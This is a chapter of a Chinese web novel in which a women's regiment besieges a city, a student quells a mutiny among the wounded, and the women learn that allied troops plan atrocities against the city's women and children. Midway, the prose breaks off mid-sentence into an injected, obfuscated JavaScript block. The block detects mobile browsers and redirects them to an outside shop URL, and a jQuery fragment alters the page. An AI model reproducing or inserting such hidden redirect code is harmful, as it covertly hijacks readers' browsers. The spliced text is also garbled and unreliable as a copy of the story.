83.伍捌 山花生媚
作品:《【GB】朱衣宴烛龙》 夕阳如血。
冯官岳军攻入南阳门的捷报刚刚派兵传递,攻城团部又因触发地雷而溃退下来。攻城第七日,金山要塞炮台下已堆了累累尸骨。
残阳像块缺角的肝脏,天际似乎也凝了一层化不开的脓血。
第四师出兵的三法门扼金山咽喉,城高墙厚,单孔卷门历经三朝,见惯风雨,原是一道古朴拙雅的史迹,在久攻其不下的兵卒眼中则变得格外厌烦可恶。
教立团混在攻城的先锋阵营中,与冲出城对敌的守兵白刃相向,撤兵时抛下数具尸首,残碎尸骸混在一起,敌我辨不分明。
收拢兵卒,统计过后,乔璃看着锐减四分之一的战力,深深叹了一口气。
尽管这四分之一里泰半是轻伤,她也不欲继续耗费兵力。望着坚固如初的城墙炮台,她带着手绘的地形图匆匆走去师部。
第四师的精锐尽在三十一团,他们领着充足的兵饷,用着最好的武器,到了战场,损耗也更多。原本负责攻打三法门的张勋将军队摆在第四师后方,只放枪而不攻城,如今神完气足,似乎不将先头军耗光,自己是绝不肯轻动的。
这种态度对第四师来说,几乎是一个毁灭性的先兆。裴宗邺眉头紧锁,手下几个团长报来的均是坏消息,在乔璃踏入师部营地之时,他几乎已不抱希望、做好用人命去填的准备。
可他终究不甘如此,布满血丝的灰眸便如饿狼似的望着后方兽军驻地,眉宇间凝聚着一抹挥之不去的煞气。
“我有一计,或可攻城。”
乔璃开门见山,将几日反复勘察草绘的三法门地形图摆在桌案上,指给顾锋与另一团的团长看:“这一块地势外高内低,墙基略有下陷。自此处掘地道,埋入地雷,算好角度,可以将自北至东这一段城墙轰塌。”
裴宗邺眼中神光一闪,抬手压下欲开口嘲讽的韩根:“你有多少把握?”
“前日开始,我已派人在此处开挖地道,虽然距离稍远,但此举只为埋雷,供一人穿行即可。”乔璃用笔在地图上划出一道细线,“保持现在的速度,再有两日,就能挖到城墙根,只要爆点贴近承重处,城墙就会崩裂。届时我需要裴师长派人掩护。”
她并没有在众人面前解释关于城墙砖石的分析猜测,以及爆炸冲击、火药装量所进行的复杂运算,只给出一个足够让人决断的答案:“我有七成把握。”
“七成就干了!”
顾锋一拍桌子,难得失态:“放火焚烧河关这种事老子绝对不干!”
此言一出,除韩根外的将领都沉寂下来。为了攻城,冯官岳派人联络海军船舰,预备火焚河关。河关位于南阳门外的河道码头,并非单纯城防据点,而是江宁门户与商埠要地,有码头、仓储、商铺、民居等等。焚烧河关,既是强挟逼迫,也是对江宁守军的沉重打击。
这种不区分军民,短视且代价高昂的手段,高傲如顾锋,实在不能苟同。
第四师一边佯攻保存兵力,一边如火如荼地挖地道,可张勋部施加的压力越来越重,裴宗邺首当其冲,作为一师之长,险些陷在兽军营地回不来。所幸张勋到底瞧不上第四师这么一支杂牌军,派出兵力一同攻城。
前线凶险难当,第四师伤亡惨重,原本配备的军医远远不敷使用;与教立团稍有交好的三十一团参谋紧急求援,恳请借调一部分医疗班前去救治伤员。
负责教立团后勤的玉关柳也是焦头烂额:团里本就人心浮动,伤兵营更是乱成一团。首次踏上前线的女兵,在目睹身旁战友重伤身亡后难以承受现实,伤兵营中竟爆发出近似兵变的骚动,令她分身乏术。
起先似乎只是几个人私下里嘀咕,后面传得越来越广,人越多,就越有法不责众的心态,在兵营中闹将起来,推搡间还误伤了一名护士。
最后还是谢定波当机立断,与医疗班班长耿跃一起出手,用枪顶着为首作乱者的太阳穴,指挥人员将闹事伤兵全都绑起来。医疗班的人只是反应不及,真要压人,血光团出身的手段并不含糊。
清查到源头,率先挑起的居然只是一个人。
那人三十岁上下,沾血的头发胡乱糊在脸上,左臂吊着绷带,是在攻城时受的伤。她仰着蜡黄的脸,梗着脖子,用全伤兵营都能听清的声音大声道:“我就是不痛快!反正我们拼死卖命,肥的都是你们几个的前程!”
她的话卷起一阵哗然,耿跃看不过眼,劈手就要扇她一记耳光,却换来一个冷笑。
“大家都看着啊,一个躲在后方的孬种,要对我动私刑了!”伤兵笑了两声,才继续高声问道:“我说错了吗?难道不是吗?我们去前线就是送死的!”
“你!”
谢定波突然伸手,拦下耿跃的动作:“听你的话音,以前跟着路营长做事?”
那伤兵仰头大笑:“不错!若不是跟着她来,还在老家当水匪自在些,何至于看着姐妹们死!”
话说得慷慨激烈,谢定波却只是淡淡一笑:“敢问名姓?”
女人咽了一口唾液,眼神游移:“你想做什么?”
“我非兵卒,也非将领,只是一个替乔团长跑腿传话的人,怎么,您言之凿凿地在此处抹黑乔团长,结果连名字都不敢报上来么?”
女人被她这么看着,只觉背脊发凉,骨头缝里泛出一点冷,声音不由低了几分:“我、我行不更名,坐不改姓,王潇!”
“王潇。”谢定波笑了,语气极为坚定,“你根本不是路营长的人!五月二十二日你借着青帮的关系进入军中,四处拉拢关系想求一个官位,每次训练考评成绩均为垫底。你谎称与路无双有故,违背军规,肆意造谣,破坏团中士气,是谁让你这么做的?你背后意欲何为?”
这下轮到名为王潇的伤兵呆愣在原地。她以为团长在前线师部,无暇顾及后方,而表面看着柔弱可欺的玉关柳连个正经兵职都无,是挑拨离间的好时机。但她没想到,这个新加入的女学生会干脆利落控住场面,当众揭了她的老底。
“我入营之后,乔团长曾与我细谈。”谢定波缓声道,“她记得诸位出身何处、擅长何事,也记得各位家中老幼。有人牺牲,她比谁都痛心,战后抚恤亦早有打算。”
她直起身,目光在伤兵营中缓缓扫过。
“在座各位领着每月二十元的兵饷,衣食住行不逊北洋直属军,士气稍挫就要兵变,战事失利就要把所有怨怪都压到乔团长头上,如此行事,和背信弃义不忠不孝之徒有何区别?”
少女话语铿锵,带头作乱的兵卒听到这话,顿时尴尬羞臊地低下头去。她们本也只是因伤生怨,又受挑拨,做下昏头之事。
其中一人哑道:“快别说了,俺们知错,认打认罚怎么都行!”
耿跃一瞪眼,冷哼道:“谁和你说怎么都行?要罚,也要按军规罚!”
玉关柳适时走出来,冷道:“不错,教立团中没有私刑,一切都在军规上写得清清楚楚。”
“至于你。”她冰寒似可伤人的目光落到王潇身上,“挑拨传谣,教唆兵变,把你视为叛兵也不为过。现在先关押起来,等我上报乔团长,再军法处置!”
王潇被单独关押之后,伤兵营终于重归平静。
耿跃长长松了一口气,后方不稳,负责后勤的她比谁都焦躁,当下就要对谢定波道谢。但少女沉思片刻,身体分明还因为方才站出来强撑场面而轻轻发抖,声音依旧沉稳自信。
“我还有一言,恳请诸位一听。”
“我不过一介无知学生,不识天高地厚,不懂战争残酷,当初抱着为国奉献之心加入教立团,在发现咱们其实打得还是华国同胞后,一度心灰意冷。”她顿了顿,“但进入教立团后,日日学习操练,虽然辛苦恐惧,身旁却是同吃同住的同袍姐妹,是能以后背相托的可信之人,我才逐渐了悟乔团长说的‘以团为家’是什么意思。”
“战友与亲眷宗族不同,诸位在教立团中识字学法,苦练枪法,是士兵,是军人。说实话,我虽读过书,出身富庶,却从未见过如此生死相托的情谊。家中姐妹再亲,也没有并肩成事的机会。
诸位与我同为女子,也应当明白,女子在世漂泊如浮萍,夫家也好,娘家也罢,若时运不济,终究只能靠自己。”
营中有人情不自禁点头附和。
“教立团不同!只要有一技之长,肯下苦工,按照军规行事就有晋身之路,若有难处,可求助战友,求助上司。因为从上到下,皆是女子,是对女子之难之痛感同身受之人。
我已把教立团当做未来的家,诸位比我加入更早,比我更有根基,更有机会。我今日在此冒言,恳请诸位仔细思考,不要因为一时怨愤,辜负自己未来的可能!”
……
玉关柳直到亲眼看见最后一位伤兵伤口重新包扎完毕,受惊护士重回岗位后,才回到自己的营帐。
她按着额角,对谢定波叹道:“多亏你有胆量站出来,我之前实在对你误会颇深,必须道一句不是。你方才真是……少年英杰。”
玉关柳原将谢、梁二人视作累赘,但她也犯了经验主义的错误,忘了有些人就是能在极短时间内达成极大的进步。
谢定波掐着尚微微颤抖的手腕,苦笑着说:“柳姨就别捧我了,我哪里记得住每一个人的身份背景。”
把教立团每个兵卒全都记在心里的,除乔璃外只有玉关柳一人,就算路无双,一时都未必记得起王潇从前到底是不是水匪出身。如果不是玉关柳当时认出对方,附耳把信息告知谢定波,她再怎么会耍嘴皮子也不成。
玉关柳摇摇头:“当时谁说话都有以势压人的嫌疑,只有局外人如你的立场才最为合适,尤其是最后一番话,非常鼓舞人心。”
谢定波脸上并没有受到认同的欣喜,语声顿了顿,低道:“我只是代入乔团长,思考她在那时会说什么罢了。”
说完她神色有些怔怔,若讲心里话,她自然要叫着喊着让所有人都逃回安全之地,也许正如王潇所说当一个水匪还自在许多。同室操戈给个体带来的是痛苦,于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191857|172195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家于国,更是全然的虚无。
但她跟着乔璃这几天已领悟到一个道理:有时作为领袖,不能每句话都是发自内心的真心话,而只能是下属最想听的,哪怕是彻头彻尾的谎言。
所幸那并非是彻头彻尾的谎言。
想起王潇,玉关柳眼中露出一抹悍色:“王潇是青帮人,怂恿兵变,这件事必然没那么简单,哪怕掘地三尺,我要把它搞清楚。”
谢定波刚想说什么,就听见营帐外传来一阵急促的脚步声,有人掀开帐门蹿进来,如同一只被恶狼追赶的兔子。
梁慧秀的脸因为一路疾赶而泛起潮红,底色又是惊恐的惨白,瞪得大大的眼配上红白交错的脸,看上去煞是吓人。
待谢定波奔过去扶住她时,才发现友人的身体几乎已单薄成一张纸,倚靠她的手哆嗦着,上下两排牙齿不住打战。
谢定波疾问:“你这是怎么了?”
梁慧秀左手紧握成拳,指甲深深抠进肉中,仿若无觉:“他们说要选肉羊,要专门挑良家的肉羊,说只要攻入城内,张大帅许三日不封刀,他们要挑顶顶好的小肉羊,他们说小肉羊的皮肉嫩,吃着香……”
少女脸上的潮红随着话语褪尽,她按住腹部,“哇”地一声吐了出来,又因一日未进食物,只能呕出些酸水。
梁慧秀颠三倒四的话语让谢定波万分疑惑:“肉羊?你在说攻城的庆功宴?”
梁慧秀用力摇头,不顾口水糊在颊侧:“不是!不是!不是!”
玉关柳抓住她在空气中胡乱抓挠的手,拿起帕子给她擦了擦脸:“你从哪听来这消息的?”
“二团的……二团的副营长。我受不了炮声,想躲远一点,就跑到咱们平日汲水的河岸,听见几个人在说这件事,其中有兽军的兵卒。”她的眼中满是恐惧,又茫然如孤稚的孩童,“谢定波,肉羊不是羊,肉羊是江宁城里的女人,还有小孩,是比中学还小的小孩啊……”
梁大小姐什么时候发出过这种拉长了声音的嚎哭?可他们说得实在太多太兴奋,她忍不住不去想象,又无法想象那些轻描淡写的声音描绘的炼狱的场景。
“他们不只是要吃人肉,比那更可怕啊谢定波……人怎么能那么做啊谢定波……”
谢定波不敢相信自己的耳朵,恍惚地与好友对视,突然一阵耳鸣。
片刻后,她才反应过来并不是自己耳鸣,而是前线确实传来“轰隆”阵阵,紧接着地龙翻身似的剧烈震感。
“三法门破!三法门破!”
捷报一路飙传,后方兵营欢呼阵阵,在集结兵马,做全军冲锋之势。大军一旦涌入,结果可想而知。
梁慧秀的哭声喷了出来,她掐拧着双手,掌根摁着额头:“我为什么要来,我为什么要来这里,我不该来、不该来,不该来……我要回家……”
“该高兴的,江宁城破,我们胜了。”
玉关柳垂下手,神情近乎漠然。
一瞬间,她想到江宁,想到这屡被侵占屡被玷污的六朝古都,想起千万万个城破投江的妇女。她又想到奉天,想到霓国满东总督府的宪兵队,想到苍老的砖墙上飘的红日旗,还有旗下累累哀声。
一滴泪不知不觉滑下,但她自己没有觉察。忽如其来的疲倦笼罩了玉关柳,她后退几步坐进椅子里。她在想什么,没有人懂,包括乔璃,她也不会懂。
“为什么?”谢定波双拳紧攥,声音嘶哑如裂,“是第四师攻的城!是我们攻的城!还有冯官岳的军队,他不管么?兽军怎么敢!他们怎么敢!”
玉关柳阖目:“你当他们为什么叫兽军?”
谢定波双目赤红:“那乔璃呢?教立团呢?这一切的意义在哪里?”
沉默蔓延到谢定波心生绝望时,座椅上阖目的女人脸上忽然露出一抹笑。
那抹笑意非常奇异,完全不像一个成年人,而是一抹很多年前就定格了的少女的笑影,从一张张泛黄的旧相片最底下一跃而出,挣脱岁月的束缚,亮出少年意气的刀锋。
“因为那是我的啊。”玉关柳站起身,她今日罕见穿了一身极为利落的暗色衣裤,“乔璃把它托付给我,因为那是我的仇恨,是我的责任。”
她一直在等一个机会。
一个将无心蛮兽拖下地狱的机会。
从营帐外鱼贯而入的领头人是万化与小婉,紧跟着的是泰春班的厨娘熊槐,以及“嘲鸫”暗杀小队里自愿前来帮忙的云艳与碧落。
一老一新的两代人站在一起,让人几乎无法分清,因为她们都钻研着同一种在黑暗中出生入死的本事,所以一双眼就越来越静如止水,恐怕就连灵魂也染成近似的颜色了。
天生怪力的云艳拎着的手提箱里,放有拆解过后的“秃鹫”榴.弹发射器,每人身上,都有吴铁音费尽心血制造的仿德式手枪,以及专为暗杀而生的“伯劳”。
“你说你要改变这一切。”玉关柳直视谢定波满布血丝的双眼,莞尔一笑,如山花生媚,“那么,你要来吗?你敢来吗?”

